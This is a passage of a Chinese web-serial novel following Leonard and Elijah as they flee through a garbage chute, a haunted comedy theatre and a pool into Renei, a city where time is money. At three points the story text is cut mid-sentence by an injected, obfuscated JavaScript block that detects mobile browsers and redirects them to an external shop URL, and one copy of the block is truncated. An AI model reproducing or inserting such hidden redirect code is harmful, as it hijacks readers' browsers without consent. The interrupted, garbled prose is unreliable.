“好消息是这地方不会有守卫。”以利亚声音嗡嗡的,嘴唇几乎不动,他从口袋里掏出个东西丢下垃圾管道,很快就听到落地回声,“听着不高,就算摔下去也不会摔死。” “可真让人安心,谢了。”莱纳德屏住呼吸探头出去,只见管道四壁沾满了黑乎乎的可疑物质,虽然一眼看过去没有活物,但众所周知,厨余垃圾对某些长尾短腿的小动物来说可是营养大餐。 “床单布呢?”以利亚问,虽然比不上防毒面具,但聊胜于无,他用布裹住双手,又把一块长方布片围在脸上,在脑后打了个结,感觉呼吸总算轻松了些,“走吧。” 莱纳德跟在以利亚身后,先小心翼翼把一条腿探下去,紧跟着是另一条,咬紧牙关一点一点往下蹭,他尽量不去留意手指上湿润黏腻的感觉,还有指尖若有若无的蠕动触感,在心里安慰自己,就算真的跌下去,也还有以利亚当垫背呢。 “喂!你要是敢松手掉下来,”以利亚就跟偷听到他的心声似的,在下边威胁道,“我保证翻身到上面!” 28.第五章:11?放映厅 双脚终于踩到了地面,也就是松软潮湿的垃圾堆,莱纳德抬头往上看,简直不敢相信刚才只爬了这么短一段距离,连两层楼都不到。 换成伊森·亨特,肯定一捏鼻子就跳下来了。 两人拆掉手上和脸上变得脏兮兮的床单布,又用干净的布擦了擦手,在墙壁上磕了磕沾满垃圾的鞋底,总算减轻了几分心理上的狼狈。 空气仍然令人不敢恭维,以利亚摆手示意莱纳德扫描通道结构,发现出口只有几步远,外面是哈迪大街——他们居然还在故园鸟镇,当然,时空联盟调查局的人也在,莱纳德一时不知该感到安心还是恐慌。 但至少,曙光就在不远的前方。 莱纳德拆掉管道出口的金属栅栏,探出头,贪婪地呼吸了一口户外的清新空气,欣慰地发现外面已经入夜,天色昏暗,哈迪大街一片寂静,只有远处一个佝偻着背的老头在慢慢地扫着地。 扫把拂过地面发出单调的摩擦声,成为此刻夜幕下的主旋律。 莱纳德并没有注意到,昨晚暴雨留下的积水消失了。 “把你的外套扔了吧,那边有个垃圾桶。”以利亚说着脱下自己的衣服,递给莱纳德,“换上这件,以我的经验,改个样子对逃亡有好处。”他盯着莱纳德的马尾辫看了几秒,目光一言难尽,最后还是忍住没有评价,说道:“我们快走吧,白瑞摩不会一直大意下去的。” “慢点,等等我!”莱纳德匆匆穿上以利亚的衣服,跟着他一路小跑,到街对面后,莱纳德回头看向刚刚逃脱的囚笼,不算高的灰色建筑,却像中世纪城堡似的逐渐向上削尖,最高层有几扇窗户,往下则是密不透风的灰墙,莱纳德心下惊疑不定,故园鸟镇里可从没有这样的建筑。 两人穿过几条街,以利亚选中了街道尽头的一栋圆顶建筑,用力推开大门。 ——如果开心你就拍拍手! 一进门,大厅里就响起扭曲刺耳的电子音,绿头发小丑裂开猩红大嘴高声叫起来,连以利亚都吓了一跳,莱纳德这才认出来:“天呐,这是‘欢乐喜剧嗨不停’剧院,我们之前来过,我是说,我和过去的你来过,8号影厅和10号影厅之间有条密道,但从密道出去之后就遇到了白瑞摩。” “那此地还是不要久留为妙。”以利亚刚转过身,头顶的水晶吊灯忽然“啪”的亮起来,原本阴森昏暗的大厅顿时亮如白昼,对面墙壁上,海报里的喜剧人一个个张大嘴巴,仿佛正在等着看他们出丑。 莱纳德盯着小丑雕塑,第一次来的时候它明明还不会说话,他正想凑过去看看,小丑骤然发出一声尖笑,机械地前后摇摆起来,大声喊道:“如果开心你就拍拍手!” “我靠!”莱纳德往后一跳,后脖子上窜起一层鸡皮疙瘩,他抓住以利亚的手臂,往后退去,“你说得对,我们还是快走吧。”但没想到的是,这片刻之间,大门竟锁死了,以利亚和莱纳德两人合力都没能推开,整扇门仿佛变成了一堵带把手的墙,不管他们怎么使力都纹丝不动。 难不成刚逃出一座监狱,又落入了另一个死地? “莱尼,过来看看这个。”以利亚走到大厅中央,目光在小丑雕塑上游移,沉吟道,“没准,小丑说得有道理。” “嗯?它说的什么有道理?”莱纳德看看以利亚,又看看小丑,一时间头皮发麻,“如果开心你就拍拍手?” “谁知道呢?”以利亚耸耸肩,两人对视片刻,同时举起双手拍了一下—— “啪”! 小丑没有动静。 以利亚一挑眉,又用力拍了两下,小丑还是纹丝不动,他们耐心等待,却猝不及防等来了小丑的尖叫:“如果开心你就拍拍手!”那张咧到耳朵根的大嘴张得更阔,仿佛在嘲笑他们。 “只剩一种解法了。”以利亚说。 “可千万别是我想的那样。”莱纳德喃喃说道,目光转向小丑两只又宽又厚、颜色惨白的塑料手,以利亚赞许地点点头,说出了他心中所想:“既然拍自己的手没效果,就只能去拍它的手咯。” 莱纳德立刻说:“你说的,你去拍。” 以利亚挑眉一笑:“可别告诉我你害怕小丑。” 莱纳德才不会把小时候的噩梦拿出来分享,嘴硬道:“我只怕一种小丑,能杀了我们的。” “哈哈,放心。”以利亚上前走到小丑跟前,回头朝莱纳德做了个鬼脸,“我保证不会死在小丑手里。”他说完伸出手,在小丑两只巨大的手掌上各拍一下,莱纳德赶紧伸长胳膊,抓住以利亚把他拉回自己身旁,生怕小丑就此活过来,一口把以利亚吞进去。 所幸这种事并没有发生。 “哈哈哈!”小丑骤然爆发出大笑,但与之前不同,这次它的下巴“咔嗒”一声落下三寸,居然张开大嘴,露出了舌头上藏着的东西。 “大功告成!现在轮到你了。”以利亚忍着笑,把莱纳德往前一推。“嗯哼,来就来。”尽管满心不情愿,但莱纳德才不会在以利亚面前丢脸,他壮起胆子、硬起头皮,探出胳膊把手伸进小丑的嘴里,那两瓣肥厚的嘴唇此刻看起来更是浸透了血似的鲜艳欲滴,连露出的牙齿上都仿佛粘连着血丝。 莱纳德小时候玩过咬人的鳄鱼玩具,此刻心境也差相仿佛,他屏住呼吸,在心里暗暗道:“说好了,你不咬我,我也不咬你。”一边紧紧盯着小丑的两排牙齿,手上动作飞快,把它舌头上的东西取了下来,连退几步,总算如释重负地吁了口气。 “好样的!”以利亚在他身后鼓掌,笑得幸灾乐祸,莱纳德白了他一眼,把小丑嘴里的东西拍到以利亚胸口,那是一张折叠成巴掌大的纸,以利亚把纸展开,喜剧人拉比·王夸张的笑脸映入眼帘,海报右侧写着一行加粗的猩红大字——你知道在哪里获得快乐,11??放映厅永远不会让你失望! “11??放映厅?”莱纳德凑过来看海报,忍不住咋舌道,“无耻抄袭哈利波特世界的9?车站?麻瓜可不会魔法。” 以利亚不认识哈利波特,他看着海报若有所思:“你之前说过,8号影厅和10号影厅之间有条密道,如果我没猜错的话,11号影厅和13号影厅之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047458|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定也有这么一条秘密通道。” 上一条通道外是白瑞摩,这一条通道外又会是谁等着他们?莱纳德不由得苦笑:“我只希望秘密通道外面不是拉比·王的喜剧演出。”拉比·王正在海报上狂笑不止,让莱纳德心里闪过一丝不祥,相比之下,他实在更愿意直面时空联盟调查局的围堵陷阱。 剧院的结构不复杂,两人没费多大功夫就找到了11号影厅和13号影厅之间的走廊,莱纳德学着之前以利亚的样子,一边走,一边在墙壁上敲击摸索,终于找到了那块活动的墙板,用力一掀,把墙壁向后推了进去。 “请吧。”莱纳德朝以利亚一挥手,然后就把自己塞进了墙缝里。 两人像螃蟹一样挪动起来,一片寂静中,莱纳德忽然低声说:“以利亚,你说,这两堵墙中间会不会住着什么东西?” “怎么这么问?” “走另一条暗道的时候,我好像听到过一些动静。”莱纳德的声音微微打颤,身旁以利亚的呼吸声让他平静不少,但如果那动静再出现,他不能保证不会尖叫着跳起来。 “什么动静?”以利亚问。 莱纳德犹豫着:“有人窃窃私语吧,没太听清。”他顿了顿,“但我当时忍不住想再凑近一点好听清楚,我控制不住,呼,如果不是你——我是说过去的你——拉住了我,我不知道还会发生什么。” 以利亚沉默了一会:“别担心,就算它再出现,我也会拉住你的。” 两人终于走到暗道尽头,亮光从缝隙里扫进个尾巴,仿佛在向黑暗中艰难前进的人发出召唤。 莱纳德紧张地屏住呼吸,小心翼翼把头探了出去,眼前立刻一片明亮,他条件反射闭上眼睛,手腕上却突然一紧,有什么东西拽住他拼命往回扯,肯定不是以利亚,因为他听到以利亚在大喊:“莱尼,快走!” 莱纳德耳边再次响起低语:“留下!留下!”紧跟着骤然聒噪,带着粘稠涌动的恶意:“生死有命!这是宇宙的终极形态!但没有人能欺骗死神!” “没有人能欺骗死神!” 他整个人向后倒去,却没有倒在以利亚身上,而是一团冰冰凉、软绵绵的东西,立刻陷了进去。 他双手乱挥,一只手竟然扒住了缝隙外的墙壁,但另一边,拖拽的力道却奇大无比,莱纳德扒住墙壁的四根手指火辣辣的,很快从指腹滑到了指尖,火上浇油的是,两道墙壁好像忽然间活了过来,正慢慢向内挤压,聒噪声也更响,生锈的钉子一样摩擦着钻进耳朵—— “留下!留下!” 千钧一发之际,莱纳德听到了以利亚的吼声:“松手!”紧跟着是一声痛哼,莱纳德还没来得及辨认是不是以利亚,手腕上的桎梏就猛然一松,他顿时向前栽倒,一头冲出缝隙,脸朝下摔了个五体投地。 下一秒,两道墙壁轰然咬合,暗道不见了。 “以利亚!”莱纳德骇然大呼,声音却哑在喉咙里,只发出蛇一样的“嘶嘶”声,他撑在身后的手臂一软,登时瘫倒在地。 以利亚没有跟他一起出来。 29.第六章:拉比·王 不管莱纳德用力敲也好,推也好,叫也好,暗道都没有再出现,他瞪着眼前光滑的墙壁,喘着粗气,在心里告诉自己,没关系的,以利亚一定是恰好回到了风琴河岸,因为他当时在河岸看到以利亚了,不是吗? 以利亚没有受伤,没有被墙里的妖怪抓住,他好端端地回到了风琴河岸。 一定是这样。 莱纳德转过身,放映厅里却骤然热闹起来,半圆形的舞台笼罩在五颜六色的灯光下,照亮了打扮得五颜六色的喜剧人——拉比·王,他跟海报上画得一模一样,两颗门牙好像红土地里的白萝卜一样,从牙龈上突出来,他手舞足蹈,正在大声说着什么:“他们钻进车里,开始尽情享乐。” 接着拉比·王做出一段逼真的口技,好像他在两颗大板牙后面藏了台音响似的,声情并茂,挤眉弄眼:“结果你们猜怎么着?没—人—怀—孕—!” 台下骤然爆发出哄笑声,莱纳德吓了一跳,原本空荡荡的观众席突然间坐满了观众,被拉比·王莫名其妙的黄段子逗得前仰后合,有人吹口哨,有人尖叫,有人笑出了眼泪,所有人都在疯了似的鼓掌。 莱纳德屏住呼吸,海报上怎么说的来着?想要获得快乐,11??放映厅一定不会让你失望,观众席上的人显然没有失望。他顺着台阶走下去,小心翼翼,用余光瞟着两侧歇斯底里的人群,后者完全沉浸在喜剧表演中,压根没人注意到他。 莱纳德心想,也许除了快乐,这里什么都没有。 他忽然间爆发出一声大笑,短促尖锐,听起来充满恐惧,但那的确是笑声,莱纳德立刻捂住嘴,那股冲动却越来越强烈,他能感到笑声正从他的体内喷涌而出,舞台上,拉比·王还在手舞足蹈,妙语连珠地讲着一连串能笑死人的笑话,莱纳德恨不得把耳朵也堵上,但他只有两只手。 拉比·王的两颗大门牙不再显得突兀,他看起来是那么滑稽,那么可乐,那张脸上的每一个器官、每一条肌肉都配合着这种滑稽,简直完美极了。 莱纳德终于忍不住放声大笑。 这一笑,他就再也没办法停下来了。 “钢管上的舞者不跳舞了,调酒师也不倒酒了,他们异口同声,一块儿朝他喊:‘治安官先生,您的裤链开了!’”拉比大声地说着、笑着,一双眼睛却在看莱纳德,脸上的表情好像在说:“过来吧,年轻人,一起笑!一起发疯!” 莱纳德发现自己站在了舞台上,明亮的灯光从头顶打下来,让他一下子变得万众瞩目,几步外,拉比·王微笑着伸出一只手,他没有说话,但却在用他的眼睛、他的眉毛、他硕大的门牙发出邀请:“来吧,跟我一起当喜剧人,我的表演从来座无虚席!”莱纳德忽然间无比坚定,他伸出手,朝拉比走去。 舞台下的阴影里——也是唯一的一块阴影里——忽然伸出一根木棍,飞快地在莱纳德的小腿骨上一撞,后者正全神贯注地盯着拉比·王,还喊痛都来不及,就被木棍扫了个大马趴,毫无形象地趴在了地上。 观众席上的笑声如同火山一般骤然爆发,差一点把剧院的房顶掀起来。 “是谁?”拉比·王尖叫起来,怒不可遏,“那是我的笑声!是谁偷走了我的笑声?” 莱纳德的膝盖短短几分钟内再受重创,摔得剧痛无比,抱着腿只想满地打滚,一只手却用力把他拉了起来,不由分说把他扯下舞台。 “放手!”莱纳德挣扎着甩开那只手,叫声竟然在放映厅荡出了回音,他打了个激灵,这才意识到,刚才那片歇斯底里的笑声和尖叫声竟然停止了,炫目的灯光不见了,观众席一下子变得空空荡荡。 他顾不上挣扎,扭头看向舞台上,哪里还有拉比·王的影子? “你来错地方了,孩子。”抓住莱纳德的那个人开口了,声音苍老,那几根手指也枯瘦如同鸟爪,莱纳德回过头,惊魂未定地看着他的救命恩人,一个满脸皱纹的老头,佝偻着背,天知道他有多老了,但那双眼睛却亮得很,丝毫没有老年人的浑浊和迟钝,此刻正严厉地看着他,说道:“这里没有水。” “我、我不渴。”莱纳德不自在地清了清嗓子,刚才的大笑让他的喉咙又干又痛,好像吞了几只蝎子下去似的,他用力咽了口唾沫,又说道,“谢谢你。”同时注意到,老人的衣着打扮很眼熟,他绝对刚见过……从那栋楼的垃圾通道里爬出来后,在朦胧夜色里扫地的老人就是他,在看到老头手里的扫帚后,莱纳德更加笃定,并且毫不怀疑,就是这东西刚才狠狠问候了他的小腿。 老人恍若未闻,自顾自说道:“这里没有水,你得尽快离开。” “这是哪里?我应该去哪儿?”莱纳德追问,不知怎地,他对这个老人有某种难以解释的信任,尽管老人的话听起来有些疯疯癫癫的,好像他是什么渴水症患者似的。 “你的问题太多了。”老人皱起眉,看起来更加严厉,他忽然抬起头,嘟囔道,“他们追来了,你该走了。” “谁追来了?”莱纳德抬起手腕想要扫描出口,却惊呆了,他的手腕又青又肿——刚才在暗道里被“鬼手”捏的——而以利亚给他的迷你装置竟不翼而飞了。 “怎么办?”莱纳德仿佛被兜头浇下一盆冷水,绝望地看着老人,这是他的最后一根救命稻草。 老人伸手指向舞台后的一个角落,说道:“从那扇门出去,找到泳池,跑快点,这是你唯一的机会。”“什么门?什么泳池?”莱纳德在老人的示意下往角落深处走了几步,这才看到,角落深处竟然真有一扇小小的木头门,高度只到他肩膀,门把手更是小得可笑,好像他忽然变成了吃蛋糕变大的爱丽丝,只有低头弯腰才能握住门把手,他试着旋转了一下,门“吱呀”一声开了。 “记住。”老人在莱纳德背后说,“这不是你以为的地方。” 莱纳德从门里走了出去。 门外依旧是夜晚,只是夜色更深,寒气也更重。 莱纳德却没心情欣赏夜色,他忽然明白老人刚才在说什么了——这地方没有水,昨天晚上明明刚下过一场暴雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“莱尼,这边!”以利亚的声音忽然在身后响起,莱纳德转身,只见以利亚正趴在泳池边,朝他伸出一只手,焦急地喊道:“快!要来不及了!” 莱纳德朝以利亚跑过去,泳池里的水已经漫过了膝盖,每迈一步都有水花四溅,他伸出手臂去拉以利亚,却看到对方忽然瑟缩了一下。 “快啊!”以利亚叫道。 莱纳德却停了下来,他缩回手,盯着以利亚浅灰色的瞳孔,问:“你叫我莱尼?” “怎么了?”以利亚皱眉,恼怒起来,“现在是纠结称呼的时候吗?听着,那东西已经追过来了,快把手给我,再不过来就真来不及了!” 莱纳德反而后退了一步,摇头道:“你不是以利亚。”这里的以利亚才刚认识他,不会叫他莱尼,更不会怕水。 “哦?是什么地方让我露馅了?”水池边,以利亚忽然露出笑容,他的身体轮廓仿佛变成了软绵绵的泥沙,在他说话时慢慢向下陷去,笑声也变得空洞、浑浊,“你以为,躲在水里就万事大吉了吗?”它朝前伸出的胳膊突然间变得又细又长,朝莱纳德猛抓了过去! 避无可避之际,莱纳德的脚踝被一只手抓住,用力把他朝后扯了过去。 30.第七章:时间之城 “抓到你了!喂!别打人,是我!” 莱纳德的两只手腕被抓住拉过头顶,对方横跪在他大腿上,把他整个压住,提高嗓门吼道:“冷静点!再打我可就要还手了啊!”莱纳德喘着粗气,肾上腺素狂飙过后,才后知后觉地意识到对方是真的以利亚,以及他刚才大概在混乱中踢了以利亚好几脚。 “以利亚?”莱纳德吐出嘴里的水,不可置信地眨眨眼睛。 “终于认出我来了?”以利亚松开莱纳德的手脚,一屁股坐到池子里,他整个人也湿透了,脸上还有一道新鲜的抓痕,但看上去惊讶大于恼火,问莱纳德,“你怎么知道要来这个地方?我还打算去那边找你呢。” 莱纳德坐起来,甩了甩头发上的水:“有个老人告诉我的。” “什么老人?”以利亚问。 “看起来就是个普普通通的老人,六七十岁,拿着扫把。”莱纳德把放映厅里发生的事情简要讲给以利亚,又说,“也是他提醒我那个地方没有水,让我去泳池逃命。” 以利亚目光闪动:“你连海子力场怪都知道?” 莱纳德叹了口气:“机缘巧合。” “现在可以告诉我了吗,白瑞摩为什么要抓你?”以利亚的笑容里带着一丝讥讽,“可别告诉我也是机缘巧合。” 莱纳德耸耸肩:“这么说也没错。”他顿了顿,又说,“还有,听说我的通缉令也挂在时空联盟调查局的总部大楼里。” “也?”以利亚敏锐地捕捉到这句话的关键。 “你的通缉令不也在那儿吗?”莱纳德静静地说,在看到惊讶之情从以利亚脸上一闪而过时,他忍不住露出了微笑。 “你知道的可真不少。” “比你差远了。” 两人对视片刻,忽然同时笑了出来,以利亚握住莱纳德的手,自己从水里站起来时把他也拉了起来。 “我猜我们现在是一条绳上的蚂蚱了。”以利亚说,“白瑞摩既然敢违反联盟法动用海子力场,就一定不会轻易放弃,更不会像个瞎子一样连她的猎物逃跑都发现不了的。” “有什么好建议?” 以利亚从口袋里掏出那根莱纳德见过无数次的金属笔,在手里转了转,微笑道:“你有没有机缘巧合听说过时空联盟调查局的总部所在地,芮内城?” 传送门对面是一间旅店客房,房间里陈设简单,却干净整齐,床对面的墙壁正中挂着一块比脸盆还大的钟表,秒针滴滴答答的,十分显眼,莱纳德盯着钟表看了一会儿,问:“这是什么地方?” “安全屋。”以利亚回答。 “你不会在宇宙各地都有安全屋吧?”想想穹顶下的金莫顿实验室,故园鸟镇的地堡,还有眼前这间旅店客房,莱纳德觉得自己猜得没错。 “宇宙各地也太夸张了。”以利亚说,“不过对我这种人来说,多几个落脚的地方总没坏处。” “你是哪种人?”莱纳德眨眨眼睛,发现自己在克制大笑的冲动。 “旅行者。” “时空旅行者?” 以利亚大笑:“你很聪明,我喜欢跟聪明人合作。”他拉开衣柜,从里面翻出两副手环,递给莱纳德一副,说:“想在芮内城里行走离不开这东西,手环里有内置芯片,认证身份和交易往来都需要靠它扫描完成。” 莱纳德讶然:“身份认证?”芮内城可是时空联盟调查局的地盘,他想象不出两个通缉犯大摇大摆地戴着身份认证手环招摇过市怎么可能不会被立刻逮捕。 以利亚知道他在担心什么,戏谑道:“这就怕了?”他戴好手环,看莱纳德还在笨手笨脚地跟自己的手环较劲,索性拉过来帮他戴好,一边说:“别怕,绑定的身份是其他人,合法有效,不会被警察抓走的。” “我没怕。”莱纳德嘟囔,他戳了戳手环,发现那东西毫无反应,忍不住问,“这东西连交互界面都没有设计,怎么做交易?” “只是没有与人交互的界面而已,所有数据变动都在双盲系统里完成,没人能看到自己的余额,也就是说,每一笔交易都是赌博。”以利亚冲莱纳德挤了挤眼睛,“是不是很刺激?” “余额不足会怎么样?” 以利亚笑笑不答,他把衣柜门彻底拉开,莱纳德注意到里面只有灰色和黑色两种颜色款式,以利亚递给他一套灰色的,自己也换上了灰衣,说道:“咱们先穿灰色出去转一圈,有需要时再回来换黑色。” “有什么区别吗?”莱纳德问。 “在这个地方,身份不同,衣服也不同。”以利亚回答。 “这地方的人只有两种身份?”莱纳德边换衣服边问。 以利亚笑容里似乎有几分讥诮:“从时间角度而言,是的。” 准备妥当后,两人离开客房来到了旅店大厅,大厅的装修风格和客房一样简洁,墙壁上同样挂着硕大的钟表,每个角落都干净得一尘不染。 一个矮个子男人在大厅里低头扫地,前台坐着个身材敦实的短发女人,埋头在电脑前,把键盘敲得“噼里啪啦”直响,两个人穿的也都是灰色衣服,只是男女款式略微不同,莱纳德眼尖地注意到,两人的手腕上也都戴着跟他们一样的手环。 前台后面,雪白的墙壁上镶嵌着一行金光闪闪的大字——时间就是一切。 莱纳德压低声音对以利亚说:“这地方时间观念很强嘛。” “这才哪儿到哪儿,待会儿还有你吃惊的地方呢。”以利亚回以哂笑,他快步走到前台,伸手拍了下铃,说道:“0225号退房。” 灰衣女人抬起头,大声说:“皮埃尔,0225号退房!”听到她喊话,扫地的矮个男人皮埃尔立刻把扫把一扔,拔腿往楼上冲去,就跟屁股上有老虎追着他咬似的。灰衣女人紧盯着皮埃尔上楼,又对以利亚惜字如金地说了句:“请稍等。”然后就埋头到电脑前,继续打字。 莱纳德好奇地凑过去,只见电脑屏幕上开了好几个窗口,各类图表看得人眼花缭乱,他问那女人:“你在干什么?”他还以为酒店前台只需要办理入住退房,盯紧想要溜进来的流浪汉就够了,眼下就他们俩人退房,这女人究竟在忙什么? 灰衣女人瞟了莱纳德一眼,边打字边说:“每天都有写不完的报表,快累死人了。”她疲惫地叹了口气,抱怨道:“现在形势不好,大家时间都很紧张,存在银行里的也不见涨,只好拼命加班咯。” 莱纳德听得一头雾水,时间居然还能存在银行里?他追问:“形势怎么个不好法?” “就是不好咯,大家都这么说。”灰衣女人忽然骂了句脏话,拳头重重一锤桌子,发出“砰”的一声,语气暴躁起来,“都怪你跟我在这里说废话,害我算错了一位数,又要从头开始了!小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078243|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你浪费了我的时间!” 莱纳德讪讪道:“不好意思。” 灰衣女人满面怒色,还想继续骂人,好在通话器这时响了起来,传出皮埃尔平平板板的声音:“0225号查房完毕,可以退房。”灰衣女人立刻摆出公事公办的神态,语速飞快道:“一共消费74小时,分开付还是一起付?” “我来付。”以利亚干脆地说道,他把手环在桌上的黑色扫描器上晃了一下,“滴”的一声,机器音提示:“扣款——74小时。” 付款一成功,灰衣女人就像送瘟神一样挥手把两人赶了出去,连一秒钟都不愿意浪费,不耐烦道:“你们还磨蹭什么,嫌时间多得花不完吗?” 离开前,莱纳德看到皮埃尔小跑着下楼,捡起扫把,一言不发地干起活来,墙上的钟表滴滴答答响个不停,应和着扫地声和键盘敲击声,再次成为大厅里单调沉闷的主旋律。 旅店外是灰色的街道,灰色的建筑,灰色的天空,还有路上行色匆匆的灰衣行人。 这里的一切好像都是灰色的。 一辆黑色汽车呼啸着驶过,好像一枚黑色子弹似的,穿破了周围的灰色,转眼间又消失在视野尽头。 走在路上时,莱纳德还在思索灰衣女人的话,其实,关于手环交易的真相已经足够清晰,这座城市里的人恐怕都在以一种可悲又恐怖的方式生活,他用胳膊肘碰碰以利亚,问道:“手环余额代表的是我们剩下的生命时长?” “嗯哼,我说过,每一笔交易都很刺激的。”以利亚评价道。 “那样的话,我们应该分开付的。”莱纳德说,他想起旅馆墙壁上的话,时间就是一切,这话在这地方真是毫不夸张,甚至每一口食物、每一样生活用品,都需要拿命来换。 “又不是说我们要在这里常住。”以利亚无所谓道。 “但我们刚才见到的其他人是,老天,真有人能忍受这种生活方式吗?”莱纳德搓搓手臂上的鸡皮疙瘩。 “对芮内城的人来说没有第二种生活方式,”以利亚说,“芮内,在旧联盟语里意思是时间,时空联盟的总部就建在这里,调查局只是联盟下属机关之一,受时空联盟总署管辖。” 莱纳德点点头,他很快又被另一个景象吸引,除了行人和黑色汽车外,还有不少人力车夫在街道上脚步轻快地穿梭来去,他们拉的车不涂黄漆,只能称作“灰包车”。 一个人力车夫看到莱纳德朝他们张望,还以为有生意可做,拉着车一路小跑过来,摆起笑脸问道:“先生们去哪儿?” 莱纳德连忙说:“我们不坐车。”他注意到“灰包车”的一边扶手上也有个扫描器,跟酒店前台那个一模一样,想来坐这人力车也是要刷手环支付小时数的。 他忽然又想,无论是住旅馆还是坐人力车,支付都并不直接针对提供服务的人,只有一个又一个黑色扫描器,那些小时数都流向哪里去了? 人力车夫不甘心,又说道:“我跑得可快,价格也划算,先生们放心,绝不浪费您一秒钟时间!” 莱纳德再次拒绝,态度坚定,那车夫不多纠缠,扭头拉起车跑远了,果然跑得飞快。 “我们去哪里?”莱纳德问以利亚。 “老规矩,打听消息最快最有效的地方。”以利亚伸手一指街对面,说道,“解忧酒吧就在那边,咱们进去喝一杯。” 31.第八章:骗局 解忧酒吧二十四小时营业,同样很符合芮内城的风格。 莱纳德和以利亚走进酒吧,乍一看生意好像很冷清,但客人其实不算少,只不过这里既没有吵闹的音响,也听不见酒客们聊天说笑,氛围简直像个办公场所,酒吧里摆满了圆桌,小的一人桌,大的双人桌,圆桌间窄窄的过道刚好够酒保灵活地穿梭来去,给客人们倒酒。 吧台后面的墙上镶嵌着金字——时间就是一切。 以利亚和莱纳德挑了个双人桌,各点了一杯酒,边喝边观察周围的动静。“你的五点钟方向有个用电脑的美女,不用回头看。”以利亚举起酒杯,低声说,“她一个人占了双人桌,说不定有故事,你去跟她聊聊?” “这么直接?” “说不定有意外收获呢?”以利亚神秘地眨眨眼睛。 “好吧。”莱纳德端起酒杯,坐到灰衣女人对面,尽量笑得友善些,“我叫杜波,可以请你喝一杯吗?” 灰衣女人从电脑前抬起头,人长得很漂亮,只是眼睛里的红血丝让她看起来很疲惫,她动动嘴唇,问得很直接:“杜波先生,你有什么事?” “聊天而已。”莱纳德说,他看着对方的眼睛,完全猜不出她会做何反应,在这个时间就是一切的城市里,聊闲天会被当做罪过吗? “聊天请找我的秘书预约。”女人没有直接拒绝,但也没有继续聊天的意思,她用食中两指递过一张名片来,说道,“三十秒后我有一个电话会议,不能给你时间了。” “这样啊。”莱纳德接过名片,看到上面写着“H&D律师事务所”和“海伦高级律师”的字样,下面用小字标注了预约电话,居然还区分了生活和工作,不同事务向不同的秘书预约,实在是严谨高效。 莱纳德把名片收好,礼貌地跟海伦律师道别,而对方已经戴起了耳机,用莱纳德逐渐熟悉的芮内城特有的飞快语速说道:“H&D律所上线,这里是海伦律师。” 电话会议开始了,想必结束前对方都不会再给自己一个眼神,莱纳德识趣地端起酒杯,打算起身离开,没想到,就这短短两分钟的功夫,以利亚对面居然坐了个人——原来这家伙刚才是为了把他支开——莱纳德惊讶得简直说不出话来,那个人穿的竟然是身黑衣服! “时代不同了,时间就是一切,每个人都该做自己的时间管理人。”黑衣人态度彬彬有礼,对以利亚微笑着,说,“何况现在形势不好,光靠工作挣的那点时间早就不够了,不投资的话,不光时间用起来紧紧巴巴,日子也过得委委屈屈,这不等于变相地浪费时间吗?” 以利亚只顾低头喝酒,默不作答。 “以您现在喝的这杯酒为例,”黑衣人又继续说道,“买一杯酒花5小时,喝一杯酒花0.5小时,算下来净亏损5.5小时,这还不算您误工损失的工资,这样的活动您每周重复几次?每个月呢?简直骇人听闻啊!” 以利亚似乎终于被他说动几分,抬起头问道:“那我该怎么办呢?” 黑衣人笑得露出一口白牙:“交给我吧,您只需要把这些闲余时间存进时间储蓄银行,什么都不用做,有我来帮您做投资管理,一小时很快就会变成两小时、三小时,甚至十小时!”他越说越兴奋,拳头用力砸进掌心:“别再虚度光阴了,好朋友,从现在就忙起来,您未来一定会成为人人羡慕的时间富翁!” “可以给我一张您的名片吗?”以利亚说,“我需要考虑考虑。” 黑衣人立刻掏出名片递给以利亚,一边站起身,举起酒杯一饮而尽:“再浪费您的时间可就是我的罪过了,希望我们很快再见。” 以利亚露出微笑:“再会。” 黑衣人离开后,莱纳德才坐回以利亚对面,问:“刚才那是什么人?搞传销的?” 以利亚回答:“时间储蓄银行的人,专门忽悠人的时间掮客。” “时间储蓄银行?掮客?”莱纳德还记得酒店前台说过“存在银行里的也不见涨”,对刚才那黑衣人更是没有好感:“他们倒还真是懂时间的价值。” “没错,”以利亚毫不掩饰声音里的讥诮,“就像蚂蟥懂得鲜血的价值一样。” 莱纳德低头看着自己的手环,难以想象一枚小小的芯片竟然就能左右人的生存时限,明明没有人知道自己还剩多少时间,但每个人却都还在拼命工作、拼命加班,甚至把本该用来休息和娱乐的时间存进银行里,再安慰自己总会有所盈余。 “那些被存起来的时间,还有扫描支付的时间,都去哪儿了呢?”莱纳德终于忍不住问。 以利亚笑笑不答。 旁边忽然有个声音插进来:“我知道哦。” 以利亚和莱纳德同时扭头,旁边只有一个单人小圆桌,桌上趴着个穿灰色风衣的醉汉,似乎正埋头大睡。以利亚打了个手势,示意莱纳德别动,自己伸手拍了拍醉汉:“喂,老兄,偷听人说话可非君子之举。” “那又有什么关系呢?我又不是君子。”醉汉伸了个懒腰,直起身,揉揉眼睛看向两人,“你们不是城里人,却混在这里喝酒,恐怕也和君子搭不上关系。” 